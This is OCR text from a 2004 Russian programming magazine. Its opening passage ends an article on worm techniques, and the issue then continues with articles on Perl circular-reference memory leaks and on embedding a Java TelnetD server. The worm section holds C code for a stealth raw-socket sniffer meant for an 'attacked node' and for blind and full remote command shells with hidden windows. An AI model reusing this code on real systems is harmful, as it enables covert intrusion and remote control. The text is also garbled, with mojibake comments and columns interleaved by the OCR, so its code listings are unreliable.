c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; // Âîò òóò íåêîòîðûå ðóêîâîäñòâà óòâåðæäàþò, ÷òî ñûðîìó ñîêåòó
strgetmsg(sock,&c,&flags,"dlokack"); ↵ // íàäî äàòü àòðèáóò IP_HDRINCL. Äàòü-òî, êîíå÷íî, ìîæíî,
dp=(union DL_primitives *)c.buf; // íî âåäü ìîæíî è íå äàâàòü! Ôëàã IP_HDRINCL ñîîáùàåò
if (dp->dl_primitive != DL_OK_ACK) return(-5); // ñèñòåìå, ÷òî àïïëåò õî÷åò ñàì ôîðìèðîâàòü IP-çàãîëîâîê
// îòïðàâëÿåìûõ ïàêåòîâ, à ïðèíÿòûå ïàêåòû åìó îòäàþòñÿ
bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800; // ñ IP-çàãîëîâêîì â ëþáîì ñëó÷àå.
bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS; // Ïîäðîáíîñòè â PlatformSDK → TCP/IP Raw Sockets
bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=0; ↵ // if (setsockopt(raw_socket, IPPROTO_IP, IP_HDRINCL,
c.maxlen=0; // &optval, sizeof(optval))== -1)…
c.len=sizeof(dl_bind_req_t); c.buf=(char *)&bind_req;
if (putmsg(sock,&c,NULL,0)<0) return(-6); // Ïåðå÷èñëÿåì âñå èíòåðôåéñû (ò.å. IP-àäðåñà âñåõ øëþçîâ,
// ÷òî åñòü íà êîìïüþòåðå. Ïðè ppp-ïîäëþê÷åíèè ê Èíòåðíåòó
c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; // îáû÷íî èìååòñÿ âñåãî îäèí IP-àäðåñ, íàçíà÷åííûé
strgetmsg(sock,&c,&flags,"dlbindack"); ↵ // DHCP-ñåðâåðîì ïðîâàéäåðà, îäíàêî â ëîêàëüíîé ñåòè ýòî íå òàê
dp=(union DL_primitives *)c.buf; if ((zzz = WSAIoctl(raw_socket, SIO_ADDRESS_LIST_QUERY, ↵
if (dp->dl_primitive != DL_BIND_ACK) return(-7); 0, 0, addrlist, sizeof(addrlist), &N, 0, 0)) == ↵
SOCKET_ERROR) return -1;
si.ic_cmd=DLIOCRAW; si.ic_timout=-1; si.ic_len=0; ↵ …
si.ic_dp=NULL; // Òåïåðü ìû äîëæíû ñäåëàòü bind íà âñå èíòåðôåéñû, âûäåëèâ
if (ioctl(sock, I_STR, &si)<0) return(-8); // êàæäûé â ñâîé ïîòîê (âñå ñîêåòû – áëîêèðóåìûå), îäíàêî,
if (ioctl(sock,I_FLUSH,FLUSHR)<0) return(-9); // â äàííîì äåìîíñòðàöèîííîì ïðèìåðå ñëóøàåòñÿ ëèøü IP ïåðâîãî
#endif // ïîïàâøåãîñÿ ïîä ðóêó èíòåðôåéñà
return(sock); addr.sin_family = AF_INET;
} addr.sin_addr = ((struct sockaddr_in*) ↵
llist->Address[0].lpSockaddr)->sin_addr;

74
безопасность
if (bind(raw_socket, (struct sockaddr*) ↵ В простейшем случае shell реализуется приблизитель-
&addr, sizeof(addr))==SOCKET_ERROR) return -1; но так:
#define SIO_RCVALL 0x98000001
Ëèñòèíã 7. Êëþ÷åâîé ôðàãìåíò ïðîñòåéøåãî óäàëåííîãî shell
// cîîáùàåì ñèñòåìå, ÷òî ìû õîòèì ïîëó÷àòü âñå ïàêåòû,
// ïðîõîäÿùèå ìèìî íåå // Ìîòàåì öèêë, ïðèíèìàÿ ñ ñîêåòà êîìàíäû, ïîêà åñòü ÷òî ïðèíè-
if (zzz=WSAIoctl(raw_socket,SIO_RCVALL,&optval, ↵ ìàòü
sizeof(optval),0,0,&N,0,0)) return –1; while(1)
{
// ïîëó÷àåì âñå ïàêåòû, ïðèõîäÿùèå íà äàííûé èíòåðôåéñ // ïðèíèìàåì î÷åðåäíóþ ïîðöèþ äàííûõ
while(1) a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);
{
if ((len = recv(raw_socket, buf, sizeof(buf), 0)) < 1) ↵ // åñëè ñîåäèíåíèå íåîæèäàííî çàêðûëîñü, âûõîäèì èç öèêëà
return -1; if (a < 1) break;

} // óâåëè÷èâàåì ñ÷åò÷èê êîëè÷åñòâà ïðèíÿòûõ ñèìâîëîâ
// è âíåäðÿåì íà êîíåö ñòðîêè çàâåðøàþùèé íîëü
Откомпилировав sniffer.c, запустите его на атакуемом p += a; buf[p] = 0;
узле с правами администратора и отправьте с узла атаку-
// ñòðîêà ñîäåðæèò ñèìâîë ïåðåíîñà ñòðîêè?
ющего несколько TCP/UDP-пакетов, которые пропускает if ((ch = strpbrk(buf, xEOL)) != 0)
firewall. Смотрите, червь исправно вылавливает их! При- { // äà, ñîäåðæèò
// îòñåêàåì ñèìâîë ïåðåíîñà è î÷èùàåì ñ÷åò÷èê
чем никаких открытых портов на атакуемом компьютере *ch = 0; p = 0;
не добавляется и факт перехвата не фиксируется ни мо-
// åñëè ñòðîêà íå ïóñòà, ïåðåäàåì åå
ниторами, ни локальными брандмауэрами. // êîìàíäíîìó èíòåðïðåòàòîðó íà âûïîëíåíèå
Для разоблачения пассивных слушателей были разра- if (strlen(buf))
{
ботаны специальные методы (краткое описание которых sprintf(cmd, "%s%s", SHELL, buf); ↵
можно найти, например, здесь: http://www.robertgraham.com/ exec(cmd);
} else break; // åñëè ýòî ïóñòàÿ ñòðîêà – âûõîäèì
pubs/sniffing-faq.html), однако практической пользы от них }
никакой, т.к. все они ориентированы на борьбу с длитель- }
ным прослушиванием, а червю для осуществления атаки
требуется не больше нескольких секунд!
Полноценный shell
Организация удаленного shell в UNIX и NT Для комфортного администрирования удаленной систе-
Потребность в удаленном shell испытывают не только ха- мы (равно как и атаки на нее) возможностей «слепого»
керы, но и сами администраторы. Знаете, как неохота shell более чем недостаточно, и неудивительно, если у вас
бывает в дождливый день тащиться через весь город толь- возникнет желание хоть чуточку его улучшить, достигнув
ко затем, чтобы прикрутить фитилек «коптящего» NT-сер- «прозрачного» взаимодействия с терминалом. И это дей-
вера, на ходу стряхивая с себя остатки сна, да собственно ствительно можно сделать! В этом нам помогут каналы
даже не сна, а тех его жалких урывков, в которые в изне- (они же «пайпы» – от английского pipe).
можении погружаешься прямо за монитором… Каналы, в отличие от сокетов, вполне корректно под-
В UNIX-подобных операционных системах shell есть от ключаются к дескрипторам ввода/вывода, и порожденный
рождения, а вот в NT его приходится реализовывать само- процесс работает с ними точно так же, как и со стандарт-
стоятельно. Как это можно сделать? По сети ходит совер- ным локальным терминалом, за тем исключением, что
шенно чудовищный код, перенаправляющий весь ввод/вы- вызовы WriteConsole никогда не перенаправляются в пайм
вод порожденного процесса в дескрипторы non-overlapping- и потому удаленный терминал может работать далеко не
сокетов. Считается, что раз уж non-overlapping-сокеты во со всеми консольными приложениями.
многих отношениях ведут себя так же, как и обычные фай- Корректно написанный shell требует создания как ми-
ловые манипуляторы, операционная система не заменит нимум двух пайпов – один будет обслуживать стандарт-
обмана, и командный интерпретатор будет работать с уда- ный ввод, соответствующий дескриптору hStdInput, дру-
ленным терминалом так же, как и с локальной консолью. гой – стандартный вывод, соответствующий дескрипторам
Может быть (хотя это и крайне маловероятно), в какой-то hStdOutput и hStdError. Дескрипторы самих пайпов обяза-
из версий Windows такой прием и работает, однако на всех тельно должны быть наследуемыми, в противном случае
современных системах порожденный процесс попросту не порожденный процесс просто не сможет до них «дотянуть-
знает, что ему с дескрипторами сокетов собственно делать, ся». А как сделать их наследуемыми? Да очень просто –
и весь ввод/вывод проваливается в тартарары… всего лишь взвести флаг bInheritHandle в состояние TRUE,
передавая его функции CreatePipe вместе со структурой
Слепой shell LPSECURITY_ATTRIBUTES, инициализированной вполне
Если разобраться, то для реализации удаленной атаки естественным образом.
полноценный shell совсем необязателен, и на первых по- Остается подготовить структуру STARTUPINFO, сопо-
рах можно ограничиться «слепой» передачей команд штат- ставив дескрипторы стандартного ввода/вывода наследу-
ного командного интерпретатора (естественно, с возмож- емым каналам, и ни в коем случае не забыть взвести флаг
ностью удаленного запуска различных утилит, и в частно- STARTF_USESTDHANDLES, иначе факт переназначения
сти утилиты calcs, обеспечивающей управление таблица- стандартных дескрипторов будет наглым образом проиг-
ми управления доступа к файлам). норирован.

№5(18), май 2004 75


безопасность
Однако это еще не все, и самое интересное нас ждет while(GetExitCodeProcess(pi.hProcess,&fexit) && ↵
впереди! Для связывания каналов с сокетом удаленного (fexit == STILL_ACTIVE))
{
терминала нам потребуется реализовать специальный
резидентный диспетчер, считывающий поступающие дан- // check to see if there is any data to read from stdout
ные и перенаправляющий их в сокет или канал. Вся слож- if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
ность в том, что проверка наличия данных в сокете (кана- {
for (a = 0; a < total; a += MAX_BUF_SIZE)
ле) должна быть неблокируемой, в противном случае нам {
потребуются два диспетчера, каждый из которых будет ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
send(csocket, buf, N, 0);
выполняться в «своем» потоке, что, согласитесь, громоз- }
дко, некрасиво и неэлегантно. }
Обратившись к Platform SDK, мы найдем две полез- if (!ioctlsocket(csocket, FIONREAD , &N) && N)
ные функции: PeerkNamePipe и ioctlsocket. Первая отве- {
recv(csocket, buf, 1, 0);
чает за неблокируемое измерение «глубины» канала, а if (*buf == '\x0A') WriteFile(wstdin, "\x0D", ↵
вторая обслуживает сокеты. Теперь диспетчеризация вво- 1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
да/вывода становится тривиальной. }
Sleep(1);
}
Ëèñòèíã 8. Êëþ÷åâîé ôðàãìåíò ïîëíîöåííîãî óäàëåííîãî shell
âìåñòå ñ äèñïåò÷åðîì ââîäà/âûâîäà
Откомпилировав любой из предлагаемых файлов (как
sa.lpSecurityDescriptor = NULL; то: bind.c, reverse.c, find.c или reuse.c), вы получите впол-
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE; // allow inheritable не комфортный shell, обеспечивающий прозрачное управ-
// handles ление удаленной системой. Только не пытайтесь запус-
// create stdin pipe кать на нем FAR – все равно ничего хорошего из этой за-
if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; теи не выйдет! Другая проблема: при внезапном разрыве
// create stdout pipe
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; соединения, порожденные процессы так и останутся бол-
таться в памяти, удерживая унаследованные сокеты и
// cset startupinfo for the spawned process
GetStartupInfo(&si); препятствуя их повторному использованию. Если это про-
изойдет, вызовите «Диспетчер Задач» и прибейте всех
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; «зобми» вручную. Разумеется, эту операцию можно осу-
si.hStdOutput = cstdout; ществить и удаленно, воспользовавшись консольной ути-
si.hStdError = cstdout; // set the new handles for
// the child process литой типа kill.
si.hStdInput = cstdin; Также не помешает оснастить вашу версию shell про-
//spawn the child process цедурой авторизации, в противном случае в систему мо-
if (!CreateProcess(0, SHELL, 0, 0, TRUE, ↵ гут проникнуть незваные гости, но это уже выходит за
CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;
пределы темы этой статьи.

76
программирование

УТЕЧКИ ПАМЯТИ
В ПРОГРАММАХ НА PERL

Все программисты знают, сколько неприятностей могут доставить утечки памяти, как сложно
бывает локализовать и устранить их причины. И любой, кто работал с Perl, смог по достоинству
оценить систему сборки мусора, которой оснащён интерпретатор этого языка. Она автоматически
заботится об удалении данных, которые больше не понадобятся, и защищает таким образом
от утечек памяти. У программиста может появиться некая иллюзия неограниченной мощи этого
механизма. Но так ли он всемогущ?

АЛЕКСЕЙ МИЧУРИН

78
программирование
Perl – прекрасный язык (и мы сегодня в этом ещё убедим- Наименее громоздким мне представляется следующий
ся), позволяющий программисту весьма кратко выразить объект для исследований:
достаточно ёмкие мысли. Приведу пример программы,
состоящей из одной строки и демонстрирующей утечку 01: #!/usr/bin/perl -w
02:
памяти в Perl: 03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
04:
# ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ! 05: sub create_ring {
while (1) { my ($a,$b); $a=\$b; $b=\$a } 06: my ($length)=@_;
07: my @ring=({'value' => 0})x$length;
08: for (my $i=0; $i<$length; $i++) {
Если вы решите испытать эту нехитрую программу, то 09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length];
приготовьтесь к тому, что события будут развиваться стре- 10: }
11: return @ring;
мительно. На моей станции она «съедает» всю память за 12: }
доли минуты. 13:
14: while (1) { my @ring=create_ring(10) }
В ней, как вы видите, реализован бесконечный цикл.
В теле цикла созданы две локальные переменные $a и Процедура create_ring создаёт и возвращает массив
$b. Ожидается, что, как и положено локальным перемен- хэшей, каждый из которых имеет два ключа. Под име-
ным, они будут уничтожаться каждый раз по окончании нем «value» хранится некая величина, под именем
выполнения тела цикла, но этого не происходит. Почему? «next_ref» – ссылка на следующий элемент массива.
Причина кроется в устройстве системы сборки мусо- Последний элемент несёт ссылку на первый элемент (но-
ра. Последняя просто ведёт учёт всех ссылок, сделан- мер ноль), зацикливая конструкцию.
ных на переменную. Если переменная вышла из облас- Вызывая её в бесконечном цикле и следя за процес-
ти видимости, но ссылки на неё остались, то данные не сами в системе, легко убедиться, что в приведённой про-
удаляются (хотя имя переменной становится недоступ- грамме есть утечка памяти. Элементы списка, созда-
ным). Это обеспечивает работоспособность всех ссылок, ваемого create_ring, не удаляются по той же причине,
но может ввести в заблуждение систему сборки мусора. что и $a и $b из первого примера: когда выполнение
Обратите внимание, ссылки не анализируются на пред- блока доходит до конца, остаются неудалённые ссылки
мет, будут они удалены в ближайшее время или не бу- на элементы списка (как вы помните, эти ссылки со-
дут. Они подсчитываются все без исключения. держатся в хэшах, составляющих список, под именами
Иллюстрацией к сказанному может послужить абсо- «next_ref»).
лютно «бытовая» ситуация, встречающаяся сплошь и Ситуация не изменится даже в том случае, если чуть
рядом: изменить наш код (привожу только важные и изменён-
ные строки):
my $ref;
{ my $var=1975; $ref=\$var; } ...
# print $var # íåâåðíî, èìÿ $var óæå íå äîñòóïíî 03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
print $$ref;
# áóäåò íàïå÷àòàíî '1975', äàííûå íå èñ÷åçëè ...
11: return $ring[0];
...
Как видите, за пределами блока имя $var уже не до- 14: while (1) { my $ring=create_ring(10) }
ступно, но данные, ранее ассоциированные с этим име-
нем, сохранились и будут в сохранности, пока не будет Не поможет и такое изменение:
удалена последняя ссылка на них1.
В нашем однострочном примере переменные $a и ...
03: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
$b содержат ссылки друг на друга. Несмотря на то, что ...
их имена становятся не видны сразу по окончании вы- 11: return \@ring;
...
полнения блока, система сборки мусора не удаляет дан- 14: while (1) { my $ring=create_ring(10) }
ные, ассоциированные с ними, неуклонно следуя свое-
му алгоритму: данные считаются «мусором» только в В двух последних примерах по окончании выполнения
том случае, если ссылок на них не осталось. блока мы будем терять ссылку на элемент массива (в
Может быть, кому-то покажется, что подобная ситу- первом) или ссылку на сам массив (во втором), но дан-
ация попахивает надуманностью и встречается редко? ные массива, уже никому не доступные, будут бережно
Отнюдь. Например, у вас может быть массив структур2, сохраняться системой сборки мусора.
описывающих товары, и другой массив структур, опи- Один из способов освободить память – разорвать
сывающих магазины. Структуры, описывающие това- этот круг (вернее, ring) вручную, добавив в конец блока
ры, могут содержать указатели на магазины, а струк- соответствующую инструкцию:
туры, описывающие магазины, могут ссылаться на эле-
менты списка товаров. Вот мы и получили две конст- ...
14: while (1) {
рукции, ссылающиеся друг на друга. Больше того, ре- 15: my $ring=create_ring(10);
ляционные базы данных просто-таки сами подсказыва- 16: $ring->[0]{'next_ref'}=undef;
17: }
ют подобные решения.
Давайте разберёмся, как же решить проблему ути- Одного разрыва вполне достаточно, чтобы система
лизации ненужных данных. сборки мусора один за другим удалила все элементы

№5(18), май 2004 79


программирование
структуры, но этот способ не выглядит изящно. Мы про- Итак, в строках 3-27 описан модуль MyRing. Он со-
сто взяли на себя труд убрать мусор, но так и не заста- держит уже знакомую нам функцию создания и инициа-
вили работать над этим интерпретатор Perl. Неужели всё лизации массива хэшей (create_ring) и методы, необхо-
так безнадёжно? Нет! В Perl есть механизмы, позволяю- димые для обеспечения работоспособности связанной
щие «растолковать» ему все детали нашего замысла, я переменной.
говорю об объектно-ориентированном подходе. Метод TIESCALAR (строка 14) вызывается в момент
Первый пример будет основан на связывании пере- связывания, он получает от оператора tie список допол-
менной с классом3. нительных параметров, в котором у нас будет только одна
Я буду рассчитывать на то, что читатель знает об ус- величина – длина требуемого массива. Получив парамет-
тройстве модулей Perl и знаком с механизмом связыва- ры, метод создаёт наш массив (вызов create_ring($length)),
ния объектов с переменными. Вкратце скажу, что Perl ассоциирует его с классом (вызов bless) и возвращает
позволяет4 ассоциировать переменную с классом с по- «новоиспечённый» объект.
мощью оператора tie. После такого связывания перемен- Метод FETCH (строка 19) вызывается, когда выпол-
ная начинает жить по собственным законам, при любой няется чтение значения связанной переменной. Ему пе-
манипуляции с ней вызываются соответствующие мето- редаётся один параметр – сам объект. Наша реализа-
ды объекта, с которым она связана. ция FETCH не делает ничего, просто возвращает то, что
Вот код, реализующий обозначенный подход: получила без изменений.
Метод STORE (строка 21) отвечает за запись в пере-
01: #!/usr/bin/perl -w менную. Я не придумал, что в него написать, он просто
02:
03: package MyRing; выдаёт грозное сообщение и «убивает» программу.
04: И наконец, метод DESTROY (строка 23) – это то, что
05: sub create_ring {
06: my ($length)=@_; нам нужно. Он вызывается автоматически всегда, когда
07: my @ring=({'value' => 0})x$length; переменная выходит за область видимости или стано-
08: for (my $i=0; $i<$length; $i++) {
09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; вится недоступна по другим причинам (например, когда
10: } программа завершается). Наш метод DESTROY разры-
11: return \@ring;
12: } вает кольцевую структуру (строка 25 выглядит знакомо,
13: не правда ли?), позволяя системе сборки мусора довес-
14: sub TIESCALAR {
15: my ($class, $length)=@_; ти свою работу до конца.
16: return bless create_ring($length), $class; Со строки 28 начинается основная программа, где мы
17: }
18: сейчас и воспользуемся нашим классом MyRing.
19: sub FETCH { return $_[0]; } В строках 30-42 приведён небольшой фрагмент кода,
20:
21: sub STORE { die "ïèñàòü â MyRing íåëüçÿ.\n" } демонстрирующий работоспособность нашей «кухни».
22: В строке 32 мы создаём локальную переменную $a,
23: sub DESTROY {
24: my ($self)=shift; которая будет существовать только в пределах блока,
25: $self->[0]{'next_ref'}=undef; находящегося в строках 31-41. Во вложенном блоке (стро-
26: }
27: ки 33-37) мы создаём локальную переменную $ring, ко-
28: package main; торую сразу же связываем с классом MyRing (строка 35).
29:
30: # äåìîíñòðàöèÿ ðàáîòîñïîñîáíîñòè Для проверки корректности структуры $ring записыва-
31: { ем строку «test» в её первый узел (строка 36). Для про-
32: my $a;
33: { верки корректности сборки мусора сохраняем копию
34: tie my $ring, 'MyRing', 10; $ring в $a. Что произойдёт, когда вложенный блок за-
35: $ring->[1]{'value'}='test';
36: $a=$ring; кончится? Оказывается, метод DESTROY не будет выз-
37: } ван! Это и понятно, мы сохранили указатель на нашу
38: # $ring áîëüøå íå âèäíà, íî äàííûå öåëû
39: print $a->[0]{'next_ref'}{'value'}."\n"; структуру (помните? $ring является указателем на мас-
40: # çäåñü âûçûâàåòñÿ DESTROY сив) в переменной $a, а она всё ещё существует. Пере-
41: }
42: # $ring=7; # ýòî âûçîâåò ìåòîä STORE менной $ring не стало, но пропало только имя, данные
43: целы. Мы убеждаемся в этом в строке 39. Здесь же мы
44: while (1) { tie my $ring, 'MyRing', 10; }
убеждаемся в корректности структуры $ring (теперь $a),
Для упрощения я не стал выделять модуль, описыва- получив доступ к первому узлу как к узлу, следующему
ющий класс, в отдельный файл. Связывать объект бу- после нулевого. А метод DESTROY будет вызван толь-
дем со скалярной переменной, это тоже, наверное, не ко тогда, когда исчезнет переменная $a. Таким обра-
лучшее решение: естественнее было бы выбрать мас- зом, всё работает правильно.
сив, а если бы мы захотели сделать нашу разработку Обратите внимание и на то, что при выполнении ма-
более масштабируемой и развиваемой, то логичнее было нипуляций с $ring (строка 35) вызывается метод FETCH,
бы выбрать хэш. Но для связывания таких «сложных» отвечающий за чтение переменной, а не STORE, ответ-
конструкций нам пришлось бы реализовать множество ственный за запись. Действительно, чтобы проделать
методов, для скаляра же достаточно четырёх, эта ком- операцию, описанную в строке 35, нам пришлось считать
пактность и наглядность лучше всего подойдёт для об- значение указателя $ring, а не записать его.
суждения в статье. А вот строка 42 не случайно закомментирована. Опе-

80
программирование
рация присвоения автоматически вызывала бы метод ме того, существует великое множество промежуточ-
STORE, а он бы аварийно остановил выполнение про- ных подходов, сочетающих традиционное и объектно-
граммы. ориентированное программирование в разных пропор-
Наконец в строке 44 реализован всё тот же бесконеч- циях. Приводить и обсуждать их все я, конечно, не буду,
ный цикл. На каждом проходе в его теле вновь создаёт- пусть каждый пишет код так, как привык.
ся локальная переменная $ring, но теперь мы связываем Гораздо интереснее задать другой вопрос: насколь-
её с классом MyRing. Благодаря этому по завершении ко надёжна наша защита от утечек памяти? Не будем
блока Perl передаёт управление методу DESTROY, кото- наивны, она тоже небезупречна и болеет теми же бо-
рый корректно освобождает память. лезнями, что и однострочная программа из самого пер-
Таким образом, нам больше не приходится удалять вого листинга.
кольцевую структуру «руками». Мы научили систему Не будем далеко ходить за примером и чуть моди-
сборки мусора обращаться с нашими данными, и Perl фицируем тело цикла из последнего листинга:
теперь сам (...почти) защищает нас от утечек памяти.
Я продемонстрировал предельно мудрёную схему, ...
21: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!
можно ли обойтись меньшей кровью? Конечно! В Perl 22: while (1) {
грань объектно-ориентированного программирования 23: my $ring=create_ring(10);
24: my $a;
весьма размыта. Взгляните на следующий код, в нём нет 25: $ring->[0]{'value'}=\$a;
почти ничего, напоминающего о его объектно-ориенти- 26: $a=$ring;
27: }
рованности:
Утечка произошла по той же самой причине, что и
01: #!/usr/bin/perl -w обычно. Когда выполнение блока подходит к концу и на-
02:
03: package MyRing; ступает время собрать мусор, система сборки обнару-
04: живает, что на кольцевую структуру ссылаются две пе-
05: sub main::create_ring {
06: my ($length)=@_; ременных: $ring и $a. Вторую уничтожить не получает-
07: my @ring=({'value' => 0})x$length; ся, потому что на неё имеется ссылка. Где эта ссылка
08: for (my $i=0; $i<$length; $i++) {
09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length]; находится, система сборки мусора уже не разбирается,
10: } но мы-то знаем, что она содержится в недрах структу-
11: return bless \@ring, __PACKAGE__;
12: } ры $ring. Круг замкнулся, система сборки мусора снова
13: не заметила наш мусор.
14: sub DESTROY {
15: my ($self)=@_; Теперь, я надеюсь, читатель видит и причины воз-
16: $self->[0]{'next_ref'}=undef; никновения проблемы, и пути её решения.
17: }
18: Одним словом, при создании сложных структур дан-
19: package main; ных всегда надо помнить, что Perl не сможет угадать
20:
21: while (1) { my $ring=create_ring(10); } ваши мысли, и чётко представлять, каким образом он
интерпретирует ваши команды.
Обратите внимание, вызов create_ring в основной про-
1
грамме вообще ни чем не выдаёт объектно-ориентиро- Во многих языках, например в Cи, ситуация обрат-
ванную природу переменной $ring. Правда, саму на: данные могут быть удалены автоматически, даже
create_ring нам пришлось чуть доработать, сделав её если на них имеются указатели. Perl же не требует
каким-никаким, а всё-таки конструктором (вызов bless в повышенной аккуратности при работе с указателя-
строке 11), и «экспортировав»5 её в модуль main (имя ми, всегда поддерживая их работоспособными.
2
main::create_ring в строке 5). Конечно, это жаргон, здесь и далее фразы типа
Метод DESTROY остался без изменений. Вызывать- «массив структур» следует понимать как «массив
ся он будет в тех же случаях и обеспечит такие же функ- указателей на структуры».
3
ции, как и в предыдущем примере. В Perl понятия «класс», «модуль» и «пакет» так же
Я бы не стал говорить, что какой-то из двух приве- не разделимы, как и понятия «объект» и «перемен-
дённых методов решения проблемы лучше, а другой ная», «метод» и «функция». Поэтому я не буду при-
хуже. У каждого есть свои преимущества и недостатки. держиваться строгой объектно-ориентированной
Первый длинноват, но код последователен и легко чита- терминологии, в Perl её просто нет.
4
ется. Второй компактен, но менее универсален и его ло- Начиная с версии 5.0.
5
гику понять сложнее (вернее, сложнее разглядеть в нём Конечно, это только имитация настоящего экспор-
объектно-ориентированный подход). Первый код рабо- тирования. Подобный подход не позволит нормаль-
тает чуть медленнее, поскольку переменная связана. но использовать модуль MyRing в других модулях,
Второй работает чуть быстрее, но допускает выполне- но я не хотел бы здесь уделять чрезмерное внима-
ние бессмысленных действий, например: ние созданию модулей в Perl, и мой код демонстри-
рует не хорошие манеры при написании модулей, а
$ring=7; предельно компактное решение.

О плюсах и минусах можно спорить бесконечно. Кро-

№5(18), май 2004 81


программирование

JAVA: ВСТРАИВАЕМ СЕРВЕР TELNET

В процессе работы над одним Java-проектом я столкнулся с необходимостью удаленного управления


серверным приложением. Разрабатывать полновесный графический интерфейс пользователя
(GUI) мне показалось нерациональным. Ведь если GUI создать на базе Swing или SWT, то придется
устанавливать дополнительные программы (JRE и собственно GUI) на клиентских рабочих местах.
А если GUI построить на основе JSP, то дополнительные программы (JSP-контейнер) придется
устанавливать на сервере. В то же время проект был рассчитан на эксплуатацию квалифицированным
персоналом, которому нет нужды до свистулек и погремушек графического интерфейса. Значит,
вполне подходящим выбором могли быть доступные удаленно интерфейс командной строки (CLI)
или текстовый интерфейс пользователя (TUI). Наиболее очевидный выбор для реализации удаленных
CLI и TUI – это Telnet (RFC 854). Данная статья и посвящена встраиванию функционала сервера
Telnet в Java-приложения.
АЛЕКСАНДР ФЕФЕЛОВ
TelnetD Поддержка конкретных реализаций терминалов (таких
Инструмент, способный помочь в решении поставленной как ANSI, VT100 или xterm), возложена на менеджер тер-
задачи, был быстро найден. Это TelnetD – встраиваемый миналов.
многопоточный сервер Telnet, реализованный на языке Все перечисленные компоненты TelnetD конфигуриру-
Java Дитером Вимбергером (Dieter Wimberger). TelnetD по- ются с помощью объектов java.util.Properties, а значит на-
ставляется в виде исходных текстов по модифицирован- стройки можно хранить в обычных текстовых файлах.
ной лицензии BSD. На момент написания статьи была Для встраивания TelnetD в программу нужно всего
доступна версия 1.0. лишь запрограммировать собственный интерпретатор
командной строки, реализующий необходимую логику
Архитектура TelnetD взаимодействия с пользователем.
Центральным объектом TelnetD является сервер (Daemon
по терминологии разработчика), который создает все дру- Начнем…
гие необходимые для работы объекты – слушателей Для работы с TelnetD нам понадобятся:
(Listeners), менеджер оболочек (ShellManager) и менеджер ! дистрибутив TelnetD, включающий исходные тексты
терминалов (TerminalManager). (файл telnetd-1.0.zip) и документацию (файл telnetd-
Слушатели принимают и управляют сетевыми соеди- 1.0_docs.zip);
нениями от клиентских программ. ! инструментарий Apache Ant. (В задачи данной статьи
Менеджер оболочек занимается созданием оболочек не входит описание работы с Ant. Будем предполагать,
(интерпретаторов командной строки), которые восприни- что Ant уже установлен и настроен.)
мают и исполняют команды пользователя и реагируют на
события сетевого соединения (такие как бездействие, тай- Развернем дистрибутив и скомпилируем TelnetD, вы-
маут или разрыв). полнив в каталоге установки команду:

82
программирование
ant jar + TelnetD.getReference().getVersion() + CRLF);
termIO.flush();
При компиляции будут выданы предупреждения об ис- while (true) {
пользовании устаревшего (deprecated) метода java.lang. // Âûâîäèì ïîäñêàçêó
termIO.write(CRLF
Thread.stop(), которые могут быть безболезненно проиг- + "Press [i] for information," + CRLF
норированы. В результате компиляции в каталоге build + "[x] for exit," + CRLF + "[s] for shutdown"
+ CRLF + CRLF);
будет создан файл telnetd.jar. (Обратите внимание на его termIO.flush();
малый размер. В моем случае – всего 86060 байт.) // Æäåì ââîäà îò ïîëüçîâàòåëÿ
Теперь скопируем все файлы из каталога src\net\ int ch = termIO.read();
wimpi\telnetd\resources в каталог build, в нем выполним // Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì
команду: switch (ch) {
case 120: // x - çàâåðøåíèå ñåàíñà
termIO.write("Goobye!");
java -classpath telnetd.jar net.wimpi.telnetd.TelnetD termIO.flush();
connection.close();
return;
которая запустит сервер TelnetD на выполнение в демон-
страционном режиме, и попытаемся установить соеди- case 115: // s - îñòàíîâ ñåðâåðà
termIO.write("Requiescat in pace!");
нение с сервером с помощью команды: termIO.flush();
TelnetD.getReference().setServing(false);
TelnetD.getReference().shutdown();
telnet localhost 6666 System.exit(0);
return;
Voila! Наш сервер работает. case 105: // i - èíôîðìàöèÿ î ñåðâåðå è ñåàíñå
// Ïîëó÷àåì äàííûå î ñîåäèíåíèè
ConnectionData data =
Пример использования TelnetD connection.getConnectionData();
Как было сказано выше, для встраивания TelnetD в про- // Âûâîäèì äàííûå íà ýêðàí
грамму необходимо создать свой класс для интерпрета- termIO.write("Additional info:" + CRLF);
тора командной строки. Этот класс должен реализовывать termIO.write("Connected from: "
+ data.getHostName()
интерфейс Shell из пакета net.wimpi.telnetd.shell. + " [" + data.getHostAddress() + ":"
Следует отметить, что интерфейс Shell является рас- + data.getPort() + "]" + CRLF);
termIO.write("Guessed locale: "
ширением интерфейса ConnectionListener из пакета net. + data.getLocale() + CRLF);
wimpi.telnetd.net. А это значит, что интерпретатор команд- termIO.write("Negotiated terminal type: "
+ data.getNegotiatedTerminalType() + CRLF);
ной строки должен предоставлять методы, реагирующие termIO.write("Scrolling support: "
на события соединения. + (termIO.getTerminal().supportsScrolling() ?
"yes" : "no") + CRLF);
Мы создадим максимально простой интерпретатор, termIO.write("Graphics rendition support: "
